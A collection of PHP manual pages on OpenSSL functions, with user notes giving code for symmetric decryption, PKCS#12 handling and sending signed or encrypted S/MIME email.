IV and Key parameteres passed to openssl command line must be in hex representation of string.

The correct command for decrypting is:

# openssl enc -aes-128-cbc -d -in file.encrypted -nosalt -nopad -K 31323334353637383132333435363738 -iv 31323334353637383132333435363738

As it has no salt has no padding and by setting functions third parameter we have no more base64 encoded file to decode. The command will echo that it works...

: /
public at grik dot net 01-Aug-2010 05:25
In 5.3.3 they added a new parameter, string $iv (initialization vector)
Real parameters are:
string openssl_encrypt ( string $data , string $method , string $password, bool $raw_output = false, string $iv )

If $iv is missing, a warning is issued: "Using an empty Initialization Vector (iv) is potentially insecure and not recommended".

If $iv is too short, another warning:
"IV passed is only 3 bytes long, cipher expects an IV of precisely 8 bytes, padding with \0"

same IV should be used in openssl_decrypt()
public at grik dot net 25-Dec-2009 09:54
The list of methods for this function can be obtained with openssl_get_cipher_methods();
The password can be encrypted with the openssl_private/public_encrypt()
openssl_digest
openssl_error_string
OpenSSL Functions


Return openSSL error message

openssl_encrypt
openssl_free_key
OpenSSL Functions
PHP Manual

openssl_error_string

(PHP 4 >= 4.0.6, PHP 5)

openssl_error_string — Return openSSL error message

Description

string openssl_error_string ( void )

openssl_error_string() returns the last error from the openSSL library. Error messages are queued, so this function should be called multiple times to collect all of the information. The last error will be the most recent one.

Return Values

Returns an error message string, or FALSE if there are no more error messages to return.

Examples

Example #1 openssl_error_string() example

<?php
// lets assume you just called an openssl function that failed
while ($msg = openssl_error_string())
    echo $msg . "<br />\n";
?>

User Contributed Notes

greg at gregmaclellan dot com 12-Aug-2004 04:44
Becareful when using this function to check errors, as it seems to read from a buffer of errors, which could include errors from another script or process that was using openssl functions. (I was surprised to find it returing error messages before I had called any openssl_* functions)

To clear the errors, you can do:

while ($err = openssl_error_string());

before using openssl functions. I'm not totally sure of the effect this will have on other threads though, maybe someone can clairify.
openssl_encrypt
openssl_free_key
OpenSSL Functions


Free key resource

openssl_error_string
openssl_get_cipher_methods
OpenSSL Functions
PHP Manual

openssl_free_key

(PHP 4 >= 4.0.4, PHP 5)

openssl_free_key — Free key resource

Description

void openssl_free_key ( resource $key_identifier )

openssl_free_key() frees the key associated with the specified key_identifier from memory.

Parameters

key_identifier

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.
openssl_error_string
openssl_get_cipher_methods
OpenSSL Functions


Gets available cipher methods

openssl_free_key
openssl_get_md_methods
OpenSSL Functions
PHP Manual

openssl_get_cipher_methods

(PHP 5 >= 5.3.0)

openssl_get_cipher_methods — Gets available cipher methods

Description

array openssl_get_cipher_methods ([ bool $aliases = false ] )

Gets a list of available cipher methods.

Parameters

aliases

Set to TRUE if cipher aliases should be included within the returned array.

Return Values

An array of available cipher methods.

Examples

Example #1 openssl_get_cipher_methods() example

Shows how the available ciphers might look, and also which aliases might be available.

<?php
$ciphers             = openssl_get_cipher_methods();
$ciphers_and_aliases = openssl_get_cipher_methods(true);
$cipher_aliases      = array_diff($ciphers_and_aliases, $ciphers);

print_r($ciphers);

print_r($cipher_aliases);

?>

The above example will output something similar to:

Array
(
    [0] => AES-128-CBC
    [1] => AES-128-CFB
    [2] => AES-128-CFB1
    [3] => AES-128-CFB8
    [4] => AES-128-ECB
    [5] => AES-128-OFB
    [6] => AES-192-CBC
    [7] => AES-192-CFB
    [8] => AES-192-CFB1
    [9] => AES-192-CFB8
    [10] => AES-192-ECB
    [11] => AES-192-OFB
    [12] => AES-256-CBC
    [13] => AES-256-CFB
    [14] => AES-256-CFB1
    [15] => AES-256-CFB8
    [16] => AES-256-ECB
    [17] => AES-256-OFB
    [18] => BF-CBC
    [19] => BF-CFB
    [20] => BF-ECB
    [21] => BF-OFB
    [22] => CAST5-CBC
    [23] => CAST5-CFB
    [24] => CAST5-ECB
    [25] => CAST5-OFB
    [26] => DES-CBC
    [27] => DES-CFB
    [28] => DES-CFB1
    [29] => DES-CFB8
    [30] => DES-ECB
    [31] => DES-EDE
    [32] => DES-EDE-CBC
    [33] => DES-EDE-CFB
    [34] => DES-EDE-OFB
    [35] => DES-EDE3
    [36] => DES-EDE3-CBC
    [37] => DES-EDE3-CFB
    [38] => DES-EDE3-OFB
    [39] => DES-OFB
    [40] => DESX-CBC
    [41] => IDEA-CBC
    [42] => IDEA-CFB
    [43] => IDEA-ECB
    [44] => IDEA-OFB
    [45] => RC2-40-CBC
    [46] => RC2-64-CBC
    [47] => RC2-CBC
    [48] => RC2-CFB
    [49] => RC2-ECB
    [50] => RC2-OFB
    [51] => RC4
    [52] => RC4-40
    [53] => aes-128-cbc
    [54] => aes-128-cfb
    [55] => aes-128-cfb1
    [56] => aes-128-cfb8
    [57] => aes-128-ecb
    [58] => aes-128-ofb
    [59] => aes-192-cbc
    [60] => aes-192-cfb
    [61] => aes-192-cfb1
    [62] => aes-192-cfb8
    [63] => aes-192-ecb
    [64] => aes-192-ofb
    [65] => aes-256-cbc
    [66] => aes-256-cfb
    [67] => aes-256-cfb1
    [68] => aes-256-cfb8
    [69] => aes-256-ecb
    [70] => aes-256-ofb
    [71] => bf-cbc
    [72] => bf-cfb
    [73] => bf-ecb
    [74] => bf-ofb
    [75] => cast5-cbc
    [76] => cast5-cfb
    [77] => cast5-ecb
    [78] => cast5-ofb
    [79] => des-cbc
    [80] => des-cfb
    [81] => des-cfb1
    [82] => des-cfb8
    [83] => des-ecb
    [84] => des-ede
    [85] => des-ede-cbc
    [86] => des-ede-cfb
    [87] => des-ede-ofb
    [88] => des-ede3
    [89] => des-ede3-cbc
    [90] => des-ede3-cfb
    [91] => des-ede3-ofb
    [92] => des-ofb
    [93] => desx-cbc
    [94] => idea-cbc
    [95] => idea-cfb
    [96] => idea-ecb
    [97] => idea-ofb
    [98] => rc2-40-cbc
    [99] => rc2-64-cbc
    [100] => rc2-cbc
    [101] => rc2-cfb
    [102] => rc2-ecb
    [103] => rc2-ofb
    [104] => rc4
    [105] => rc4-40
)
Array
(
    [18] => AES128
    [19] => AES192
    [20] => AES256
    [21] => BF
    [26] => CAST
    [27] => CAST-cbc
    [32] => DES
    [47] => DES3
    [48] => DESX
    [50] => IDEA
    [55] => RC2
    [82] => aes128
    [83] => aes192
    [84] => aes256
    [85] => bf
    [90] => blowfish
    [91] => cast
    [92] => cast-cbc
    [97] => des
    [112] => des3
    [113] => desx
    [115] => idea
    [120] => rc2
)

See Also

  • openssl_get_md_methods() - Gets available digest methods

User Contributed Notes

There are no user contributed notes for this page.
openssl_free_key
openssl_get_md_methods
OpenSSL Functions


Gets available digest methods

openssl_get_cipher_methods
openssl_get_privatekey
OpenSSL Functions
PHP Manual

openssl_get_md_methods

(PHP 5 >= 5.3.0)

openssl_get_md_methods — Gets available digest methods

Description

array openssl_get_md_methods ([ bool $aliases = false ] )

Gets a list of available digest methods.

Parameters

aliases

Set to TRUE if digest aliases should be included within the returned array.

Return Values

An array of available digest methods.

Examples

Example #1 openssl_get_md_methods() example

Shows how the available digests might look, and also which aliases might be available.

<?php
$digests             = openssl_get_md_methods();
$digests_and_aliases = openssl_get_md_methods(true);
$digest_aliases      = array_diff($digests_and_aliases, $digests);

print_r($digests);

print_r($digest_aliases);

?>

The above example will output something similar to:

Array
(
    [0] => DSA
    [1] => DSA-SHA
    [2] => MD2
    [3] => MD4
    [4] => MD5
    [5] => RIPEMD160
    [6] => SHA
    [7] => SHA1
    [8] => SHA224
    [9] => SHA256
    [10] => SHA384
    [11] => SHA512
    [12] => dsaEncryption
    [13] => dsaWithSHA
    [14] => ecdsa-with-SHA1
    [15] => md2
    [16] => md4
    [17] => md5
    [18] => ripemd160
    [19] => sha
    [20] => sha1
    [21] => sha224
    [22] => sha256
    [23] => sha384
    [24] => sha512
)
Array
(
    [2] => DSA-SHA1
    [3] => DSA-SHA1-old
    [4] => DSS1
    [9] => RSA-MD2
    [10] => RSA-MD4
    [11] => RSA-MD5
    [12] => RSA-RIPEMD160
    [13] => RSA-SHA
    [14] => RSA-SHA1
    [15] => RSA-SHA1-2
    [16] => RSA-SHA224
    [17] => RSA-SHA256
    [18] => RSA-SHA384
    [19] => RSA-SHA512
    [28] => dsaWithSHA1
    [29] => dss1
    [32] => md2WithRSAEncryption
    [34] => md4WithRSAEncryption
    [36] => md5WithRSAEncryption
    [37] => ripemd
    [39] => ripemd160WithRSA
    [40] => rmd160
    [43] => sha1WithRSAEncryption
    [45] => sha224WithRSAEncryption
    [47] => sha256WithRSAEncryption
    [49] => sha384WithRSAEncryption
    [51] => sha512WithRSAEncryption
    [52] => shaWithRSAEncryption
    [53] => ssl2-md5
    [54] => ssl3-md5
    [55] => ssl3-sha1
)

See Also

  • openssl_digest() - Computes a digest
  • openssl_get_cipher_methods() - Gets available cipher methods

User Contributed Notes

There are no user contributed notes for this page.
openssl_get_cipher_methods
openssl_get_privatekey
OpenSSL Functions


Alias of openssl_pkey_get_private

openssl_get_md_methods
openssl_get_publickey
OpenSSL Functions
PHP Manual

openssl_get_privatekey

(PHP 4 >= 4.0.4, PHP 5)

openssl_get_privatekey — Alias of openssl_pkey_get_private()

Description

This function is an alias of: openssl_pkey_get_private().

User Contributed Notes

There are no user contributed notes for this page.
openssl_get_md_methods
openssl_get_publickey
OpenSSL Functions


Alias of openssl_pkey_get_public

openssl_get_privatekey
openssl_open
OpenSSL Functions
PHP Manual

openssl_get_publickey

(PHP 4 >= 4.0.4, PHP 5)

openssl_get_publickey — Alias of openssl_pkey_get_public()

Description

This function is an alias of: openssl_pkey_get_public().

User Contributed Notes

wfredkNOSPAM at L5DevelopmentNOSPAM dot com 08-Mar-2002 07:48
Encrypt using public key, decrypt using private key.

Use this to store stuff in your database: Unless someone
has your private key, the database contents are useless.

Also, use this for sending to a specific individual:  Get
their public key, encrypt the message, only they can use
their private key to decode it.

<?php
echo "Source: $source";
$fp=fopen("/path/to/certificate.crt","r");
$pub_key=fread($fp,8192);
fclose($fp);
openssl_get_publickey($pub_key);
/*
 * NOTE:  Here you use the $pub_key value (converted, I guess)
 */
openssl_public_encrypt($source,$crypttext,$pub_key);
echo "String crypted: $crypttext";

$fp=fopen("/path/to/private.key","r");
$priv_key=fread($fp,8192);
fclose($fp);
// $passphrase is required if your key is encoded (suggested)
$res = openssl_get_privatekey($priv_key,$passphrase);
/*
 * NOTE:  Here you use the returned resource value
 */
openssl_private_decrypt($crypttext,$newsource,$res);
echo "String decrypt : $newsource";
?>
openssl_get_privatekey
openssl_open
OpenSSL Functions


Open sealed data

openssl_get_publickey
openssl_pkcs12_export_to_file
OpenSSL Functions
PHP Manual

openssl_open

(PHP 4 >= 4.0.4, PHP 5)

openssl_open — Open sealed data

Description

bool openssl_open ( string $sealed_data , string &$open_data , string $env_key , mixed $priv_key_id [, string $method ] )

openssl_open() opens (decrypts) sealed_data using the private key associated with the key identifier priv_key_id and the envelope key env_key, and fills open_data with the decrypted data. The envelope key is generated when the data are sealed and can only be used by one specific private key. See openssl_seal() for more information.

Parameters

sealed_data

open_data

If the call is successful the opened data is returned in this parameter.

env_key

priv_key_id

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_open() example

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// fetch private key from file and ready it
$fp = fopen("/src/openssl-0.9.6/demos/sign/key.pem", "r");
$priv_key = fread($fp, 8192);
fclose($fp);
$pkeyid = openssl_get_privatekey($priv_key);

// decrypt the data and store it in $open
if (openssl_open($sealed, $open, $env_key, $pkeyid)) {
    echo "here is the opened data: ", $open;
} else {
    echo "failed to open data";
}

// free the private key from memory
openssl_free_key($pkeyid);
?>

See Also

  • openssl_seal() - Seal (encrypt) data

User Contributed Notes

sdc 25-Jun-2011 02:31
PHP compiled without OpenSSL support? Here's how you can call the openssl command-line utility to achieve the same goal:

<?php
// $sealed and $env_key are assumed to contain the sealed data
// and our envelope key, both given to us by the sealer.

// specify private key file and passphrase
$pkey_file='key.pem';
$pkey_pp='netsvc';

// call openssl to decrypt envelope key
$ph=proc_open('openssl rsautl -decrypt -inkey '.
 escapeshellarg($pkey_file).' -passin fd:3',array(
  0 => array('pipe','r'), // stdin < envelope key
  1 => array('pipe','w'), // stdout > decoded envelope key
  2 => STDERR,
  3 => array('pipe','r'), // < passphrase
 ),$pipes);
// write envelope key
fwrite($pipes[0],$env_key);
fclose($pipes[0]);
// write private key passphrase
fwrite($pipes[3],$pkey_pp);
fclose($pipes[3]);
// read decoded key, convert to hexadecimal
$env_key='';
while(!feof($pipes[1])){
  $env_key.=sprintf("%02x",ord(fgetc($pipes[1])));
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// call openssl to decryp
$ph=proc_open('openssl rc4 -d -iv 0 -K '.$env_key,array(
  0 => array('pipe','r'), // stdin < sealed data
  1 => array('pipe','w'), // stdout > opened data
  2 => STDERR,
 ),$pipes);
// write sealed data
fwrite($pipes[0],$sealed);
fclose($pipes[0]);
// read opened data
//$open=stream_get_contents($pipes[1]);
$open='';
while(!feof($pipes[1])){
  $open.=fgets($pipes[1]);
}
fclose($pipes[1]);
if($xc=proc_close($ph)){
  echo "Exit code: $xc\n";
}

// display the decrypted data
echo $open;

?>
Gareth Owen 17-Feb-2009 08:20
Example code, assume mycert.pem is a certificate containing both private and public key.

$cert = file_get_contents("mycert.pem");

$public = openssl_get_publickey($cert);
$private = openssl_get_privatekey($cert);

$data = "I'm a lumberjack and I'm okay.";

echo "Data before: {$data}\n";
openssl_seal($data, $cipher, $e, array($public));

echo "Ciphertext: {$cipher}\n";

openssl_open($cipher, $open, $e[0], $private);
echo "Decrypted: {$open}\n";
openssl_get_publickey
openssl_pkcs12_export_to_file
OpenSSL Functions


Exports a PKCS#12 Compatible Certificate Store File

openssl_open
openssl_pkcs12_export
OpenSSL Functions
PHP Manual

openssl_pkcs12_export_to_file

(PHP 5 >= 5.2.2)

openssl_pkcs12_export_to_file — Exports a PKCS#12 Compatible Certificate Store File

Description

bool openssl_pkcs12_export_to_file ( mixed $x509 , string $filename , mixed $priv_key , string $pass [, array $args ] )

openssl_pkcs12_export_to_file() stores x509 into a file named by filename in a PKCS#12 file format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

filename

Path to the output file.

priv_key

Private key component of PKCS#12 file.

pass

Encryption password for unlocking the PKCS#12 file.

args

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

lampacz at gmail dot com 02-Jul-2009 01:13
[, array $args ]  can contain only: extracerts, friendly_name

extracerts - additional certificates (can be file or string)
friendly_name - "friendly name" for the certificate and private key. This name is typically displayed in list boxes by software importing the file.

based on source code version 5.2.8 and pkcs12 man page
openssl_open
openssl_pkcs12_export
OpenSSL Functions


Exports a PKCS#12 Compatible Certificate Store File to variable.

openssl_pkcs12_export_to_file
openssl_pkcs12_read
OpenSSL Functions
PHP Manual

openssl_pkcs12_export

(PHP 5 >= 5.2.2)

openssl_pkcs12_export — Exports a PKCS#12 Compatible Certificate Store File to variable.

Description

bool openssl_pkcs12_export ( mixed $x509 , string &$out , mixed $priv_key , string $pass [, array $args ] )

openssl_pkcs12_export() stores x509 into a string named by out in a PKCS#12 file format.

Parameters

x509

See Key/Certificate parameters for a list of valid values.

out

On success, this will hold the PKCS#12.

priv_key

Private key component of PKCS#12 file.

pass

Encryption password for unlocking the PKCS#12 file.

args

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

mryom 29-Mar-2011 11:01
Example:

<?php
$key = openssl_pkey_get_private(Private_Key, Password);

openssl_pkcs12_export(Certificate, $iis, $key, Password);
?>
simoncpu was here 11-May-2010 02:28
If your certificate is not password-protected, just use null or a blank string.  Otherwise, this function won't work.
openssl_pkcs12_export_to_file
openssl_pkcs12_read
OpenSSL Functions


Parse a PKCS#12 Certificate Store into an array

openssl_pkcs12_export
openssl_pkcs7_decrypt
OpenSSL Functions
PHP Manual

openssl_pkcs12_read

(PHP 5 >= 5.2.2)

openssl_pkcs12_read — Parse a PKCS#12 Certificate Store into an array

Description

bool openssl_pkcs12_read ( string $pkcs12 , array &$certs , string $pass )

openssl_pkcs12_read() parses the PKCS#12 certificate store supplied by pkcs12 into a array named certs.

Parameters

pkcs12

certs

On success, this will hold the Certificate Store Data.

pass

Encryption password for unlocking the PKCS#12 file.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

bromatom at directbox dot com 01-Sep-2008 12:18
To extract the contents of a PKCS12 file you can use file_get_contents as well:

<?
  $certs = array();
  $pkcs12 = file_get_contents( "pkcs12file.pem" );
  // No password
  openssl_pkcs12_read( $pkcs12, $certs, "" );
  print_r( $certs );
?>

Output is:
Array
(
  [cert] => --- BEGIN CERTIFICATE ---
  //snipsnip//
  --- END CERTIFICATE ---
  [pkey] => --- BEGIN RSA PRIVATE KEY ---
  //snipsnip//
  [extracerts] = Array
  (
  )
)
mmacia at gmail dot com 26-Dec-2007 05:13
The correct way to read a PKCS#12 file is:

<?php
$p12cert = array();
$file = '/home/mmacia/mycert.p12';
$fd = fopen($file, 'r');
$p12buf = fread($fd, filesize($file));
fclose($fd);

if ( openssl_pkcs12_read($p12buf, $p12cert, 'passphrase') )
{
    echo 'Works!';
    print_r($p12cert);
}
else
{
    echo 'Fail';
}
?>
openssl_pkcs12_export
openssl_pkcs7_decrypt
OpenSSL Functions


Decrypts an S/MIME encrypted message

openssl_pkcs12_read
openssl_pkcs7_encrypt
OpenSSL Functions
PHP Manual

openssl_pkcs7_decrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_decrypt — Decrypts an S/MIME encrypted message

Description

bool openssl_pkcs7_decrypt ( string $infilename , string $outfilename , mixed $recipcert [, mixed $recipkey ] )

Decrypts the S/MIME encrypted message contained in the file specified by infilename using the certificate and its associated private key specified by recipcert and recipkey.

Parameters

infilename

outfilename

The decrypted message is written to the file specified by outfilename.

recipcert

recipkey

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 openssl_pkcs7_decrypt() example

<?php
// $cert and $key are assumed to contain your personal certificate and private
// key pair, and that you are the recipient of an S/MIME message
$infilename = "encrypted.msg";  // this file holds your encrypted message
$outfilename = "decrypted.msg"; // make sure you can write to this file

if (openssl_pkcs7_decrypt($infilename, $outfilename, $cert, $key)) {
    echo "decrypted!";
} else {
    echo "failed to decrypt!";
}
?>

User Contributed Notes

oliver at anonsphere dot com 28-Apr-2011 09:16
If you want to decrypt a received email, keep in mind that you need the full encrypted message including the mime header.

<?php

// Get the full message
$encrypted = imap_fetchmime($stream, $msg_number, "1", FT_UID);
$encrypted .= imap_fetchbody($stream, $msg_number, "1", FT_UID);

// Write the needed temporary files
$infile = tempnam("", "enc");
file_put_contents($infile, $encrypted);
$outfile = tempnam("", "dec");

// The certification stuff
$public = file_get_contents("/path/to/your/cert.pem");
$private = array(file_get_contents("/path/to/your/cert.pem"), "password");

// Ready? Go!
if(openssl_pkcs7_decrypt($infile, $outfile, $public, $private))
{
    // Decryption successful
    echo file_get_contents($outfile);
}
else
{
    // Decryption failed
    echo "Oh oh! Decryption failed!";
}

// Remove the temp files
@unlink($infile);
@unlink($outfile);

?>
openssl_pkcs12_read
openssl_pkcs7_encrypt
OpenSSL Functions


Encrypt an S/MIME message

openssl_pkcs7_decrypt
openssl_pkcs7_sign
OpenSSL Functions
PHP Manual

openssl_pkcs7_encrypt

(PHP 4 >= 4.0.6, PHP 5)

openssl_pkcs7_encrypt — Encrypt an S/MIME message

Description

bool openssl_pkcs7_encrypt ( string $infile , string $outfile , mixed $recipcerts , array $headers [, int $flags = 0 [, int $cipherid = OPENSSL_CIPHER_RC2_40 ]] )

openssl_pkcs7_encrypt() takes the contents of the file named infile and encrypts them using an RC2 40-bit cipher so that they can only be read by the intended recipients specified by recipcerts.

Parameters

infile

outfile

recipcerts

Either a lone X.509 certificate, or an array of X.509 certificates.

headers

headers is an array of headers that will be prepended to the data after it has been encrypted.

headers can be either an associative array keyed by header name, or an indexed array, where each element contains a single header line.

flags

flags can be used to specify options that affect the encoding process - see PKCS7 constants.

cipherid

One of cipher constants.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.0.0 | The cipherid parameter was added.

Examples

Example #1 openssl_pkcs7_encrypt() example

<?php
// the message you want to encrypt and send to your secret agent
// in the field, known as nighthawk.  You have his certificate
// in the file nighthawk.pem
$data = <<<EOD
Nighthawk,

Top secret, for your eyes only!

The enemy is closing in! Meet me at the cafe at 8.30am
to collect your forged passport!

HQ
EOD;

// load key
$key = file_get_contents("nighthawk.pem");

// save message to file
$fp = fopen("msg.txt", "w");
fwrite($fp, $data);
fclose($fp);

// encrypt it
if (openssl_pkcs7_encrypt("msg.txt", "enc.txt", $key,
    array("To" => "nighthawk@example.com", // keyed syntax
          "From: HQ <hq@example.com>", // indexed syntax
          "Subject" => "Eyes only"))) {
    // message encrypted - send it!
    exec(ini_get("sendmail_path") . " < enc.txt");
}
?>

User Contributed Notes

1matqo1 at azet dot sk 04-Mar-2010 02:30
For everyone who spent lots of time trying to encrypt multipart/alternative emailwith no success:

1.) put complete email (header together with body) into file to encrypt as in example from koen:
<?php
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);
?>

2.) headers array sent to openssl_pkcs7_encrypt can`t contain some of headers, it conflicts/doubles and some clients have problems with it - i.e. Thunderbird don`t show you email body. For me worked headers: "Subject", "To", "From", "Reply-To", "Date","Return-Receipt","Message-ID","CC", "X-Priority", "X-Mailer"

one more thing - if your public key for encryption is not working, check if you are sending certificate with key, not only pure key(must be certificate)

Good luck to everyone, its a little bit hard because of small amount of documentation which is sometimes confusing...
koen dot thomeer at pubmed dot be 18-Jul-2008 04:54
In the previous example, instead of making your own headers in the encrypted message, openssl_pkcs7_encrypt() can do it for you with the PKCS7_TEXT flag.

body.txt is the file with the mail body.
publickey.cer is the file with the public certificate.

<?php
// Setup mail headers.
$headers = array("From" => "from@mail.com", "To" => "to@mail.com", "Subject" => "Encrypted mail readable with most clients", "X-Mailer" => "PHP/".phpversion());

// Get the public key certificate.
$pubkey = file_get_contents("publickey.cer");

// Remove some double headers for mail()
$headers_msg = $headers;
unset($headers_msg['To'], $headers_msg['Subject']);

// Encrypt message
openssl_pkcs7_encrypt("body.txt", "enc.txt",$pubkey,$headers_msg,PKCS7_TEXT,1);

// Seperate headers and body for mail()
$data = file_get_contents("enc.txt");
$parts = explode("\n\n", $data, 2);

// Send mail
mail($headers['To'], $headers['Subject'], $parts[1], $parts[0]);

// Remove encrypted message (not fot debugging)
unlink("enc.txt");
?>
koen dot thomeer at pubmed dot be 16-Jul-2008 06:15
In the previous example, the decrypted message couldn't be read by the 'popular' mail clients. Those mail clients needed also headers in the encrypted part.

I also noticed that there were some double headers in the previous example ('To:' and 'Subject:' were not overriden by the Headers parameter in mail()). This is also corrected by unsetting 'To:' and 'Subject:' in $headers_msg.

body.txt is the file with the mail body.
publickey.cer is the file with the public certificate.

<?php
// Setup mail headers.
$headers = array("From" => "from@mail.com", "To" => "to@mail.com", "Subject" => "Encrypted mail readable with most clients", "X-Mailer" => "PHP/".phpversion());

// Get the public key certificate.
$pubkey = file_get_contents("publickey.cer");

// Header for encrypted part
$eol = "\r\n";
$enc_header .= "From: ".$headers['From'].$eol;
$enc_header .= "To: ".$headers['To'].$eol;
$enc_header .= "Subject: ".$headers['Subject'].$eol;
$enc_header .= "Content-Type: text/plain; format=flowed; charset=\"iso-8859-1\"; reply-type=original".$eol;
$enc_header .= "Content-Transfer-Encoding: 7bit".$eol;
$enc_header .= "\n";

// Prepend header for encrypted message
$body = file_get_contents("body.txt");
$msg = $enc_header.$body;
file_put_contents("msg.txt", $msg);

// Remove some double headers for mail()
$headers_msg = $headers;
unset($headers_msg['To'], $headers_msg['Subject']);

// Encrypt message
openssl_pkcs7_encrypt("msg.txt", "enc.txt",$pubkey,$headers_msg,0,1);

// Seperate headers and body for mail()
$data = file_get_contents("enc.txt");
$parts = explode("\n\n", $data, 2);

// send mail
mail($headers['To'], $headers['Subject'], $parts[1], $parts[0]);
?>
bob at bobscheffler dot com 04-Aug-2005 05:58
It's not worth it.  Honestly, it would sound like a great idea, but it is such a pain in the arse.  I have done so using asp, but have not yet found a way (or really tried for that matter) to do this using PGP.  Using asp took me a full day to do (had to judo-kung foo chop a little for it to work correctly).  Peace--
ungdi at hotmail dot com 16-Mar-2005 03:19
Amongst the many discussions about signing or encrypting email by itself, none really discuss the pain of having an email BOTH signed AND encrypted.

*** What do you do first? Sign then Encrypt? Or Encrypt then Sign?

According to RFC 2311, you can encrypt then sign or sign then encrypt. However, it depends on the client in which you are programming for. In my experience, in Outlook 2000, it prefers it Encrypt then Sign. While in Outlook 2003, it is Sign then Encrypt. Generally, you want Sign then Encrypt, as it seems most logical from a snail-mail piece point of view. You first sign a letter than put it in an envelope. Certain clients complain if you do it in an order it does not like, so you may want to experiement with it.

*** Example of doing both signing AND encrypting.

When you perform the first function, do NOT put in any headers in the headers array parameters, you want to put it in the SECOND function you want to perform. If you put the headers in the first function, the second function will hide it from the mail servers. You do not want that. Here I will sign then encrypt.

<?
// Setup mail headers.
$headers = array("To" => "someone@nowhere.net",
     "From" => "noone@somewhere.net",
     "Subject" => "A signed and encrypted message.");

// Sign the message first
openssl_pkcs7_sign("msg.txt","signed.txt",
     "signing_cert.pem",array("private_key.pem",
     "password"),array());

// Get the public key certificate.
$pubkey = file_get_contents("cert.pem");

//encrypt the message, now put in the headers.
openssl_pkcs7_encrypt("signed.txt", "enc.txt",
     $pubkey,$headers,0,1);

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);
?>

Note that if you use a function that picks up the data from the disk to be used in another function in your program, remember that you may have used the explode("\n\n",$data,2) function which may have removed the spacing between the header and the message content.

When you take the signed message and feed it in to the encryption part, you have to remember that the line spacing must also be fed AS PART OF THE MESSAGE BODY! If you plan to sign then encrypt, do not feed the header output from the signing into the encrypting as part of the headers array parameter! The output of the signing should stay as part of the message body being encrypted. (And the same is true if you are doing the reverse of encrypting then signing.) An example of both the signing and encryption function made in to a routine for reusability, and then called to sign and encrypt a message.

*** Example of signing and encrypting executed from a routine function for code reusability through a program.

THIS IS WRONG!:
<?
// [0] of Array contains headers of message. [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,$headers);

// [0] of Array contains headers of message and the signing.
// [1] of Array contains encrypted body of message without the signing header.
$signedAndEncryptedArray = encryptMessage($signedOutputArray[1],
     $signedOutputArray[0]);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
      $signedAndEncryptedArray[0]);
?>

THIS IS CORRECT!
<?
// [0] of Array contains headers of signing.
// [1] of Array contains signed body of message.
$signedOutputArray = signMessage($inputMessage,array());

// [0] of Array contains headers of message.
// [1] of Array contains encrypted contents of both the signed message and its headers of the signing.
$signedAndEncryptedArray =
     encryptMessage($signedOutputArray[0] . "\n\n" . $signedOutputArray[1],$headers);

mail($emailAddr,$subject,$signedAndEncryptedArray[1],
     $signedAndEncryptedArray[0]);
?>
ungdi AT hotmail DOT com 12-Aug-2004 11:07
As of PHP 5.0.0, you have the ability to choose between 64 bit RC2 encryption OR 128 bit RC2 encryption.

The new function description should now be:
bool openssl_pkcs7_encrypt ( string infile, string outfile, mixed recipcerts, array headers [, int flags] [,int cipher])

Where the int value of cipher is 0 or 1. 0 = 64 bit and 1 = 128 bit.
richardaburton at hotmail dot com 15-Oct-2003 05:38
Using sendmail isn't very portable, and seems daft since PHP has the mail function which will do the job. Problem is how do you use the mail function to send this email, since it's already complete with headers?

If you pull in the contents of the file produced by openssl_pkcs7_encrypt and pass this as the message data to the mail command, you end up with an email with two sets of headers (one set from the encrypt function, another added by the mail command). The result is that the second set of headers (which tell the mail client the email is encrypted) get ignored and the (base64 encoded) encrypted mail is shown as-is, rather than being decrypted.

The solution is quite simple, but it took me a little while to think of it, so I'm sharing it here. Once you load the contents of the file, split the headers off the body. Then pass the headers as the additional_headers parameter to the mail function, and just the body of the email as the message parameter of the mail function.

You will need to specify the to & subject parameters, but these will be overriden in the final email (as delievered to the recipiant) by the ones from the real encrypted email.

<?php

$pubkey = file_get_contents("cert.pem");

openssl_pkcs7_encrypt("msg.txt", "enc.txt", $pubkey,
    array("To" => "nighthawk@example.com",
          "From" => "HQ <hq@example.com>",
          "Subject" => "Eyes only"), 0)

$data = file_get_contents("enc.txt");

// separate header and body, to use with mail function
//  unfortunate but required, else we have two sets of headers
//  and the email client doesn't decode the attachment
$parts = explode("\n\n", $data, 2);

// send mail (headers in the Headers parameter will override those
//  generated for the To & Subject parameters)
mail($mail, $subject, $parts[1], $parts[0]);

?>

Richard.
richardaburton at hotmail dot com 15-Oct-2003 05:31
If you don't like the idea of only using RC2/40bit you can always recompile the php_openssl extension. Simply search through the extensions openssl.c source file for the EVP_rc2_40_cbc() call, which selects this cipher. Replace the call to select another better cipher such as EVP_rc2_cbc() (RC2/128bit) or EVP_des_ede3_cbc() (triple-DES).

I patched the source to allow the selection of cipher as an extra parameter, but got the latest source from CVS to submit a patch and it appears the work has already been done, so looks like we will see this feature in pretty soon.

Richard.
20-May-2003 08:16
It is a bit scary to use only RC2/40bit considering that has been already so exposed as vulnerable to brute-force cracking (see for example www.distributed.net)

Here is an alternate method which allows stronger encryption (128bit.) This works on Solaris 8 but could be adapted for e.g. Linux by removing the "-rand" parameter and its randomfile name.

-------------snippet-------------------

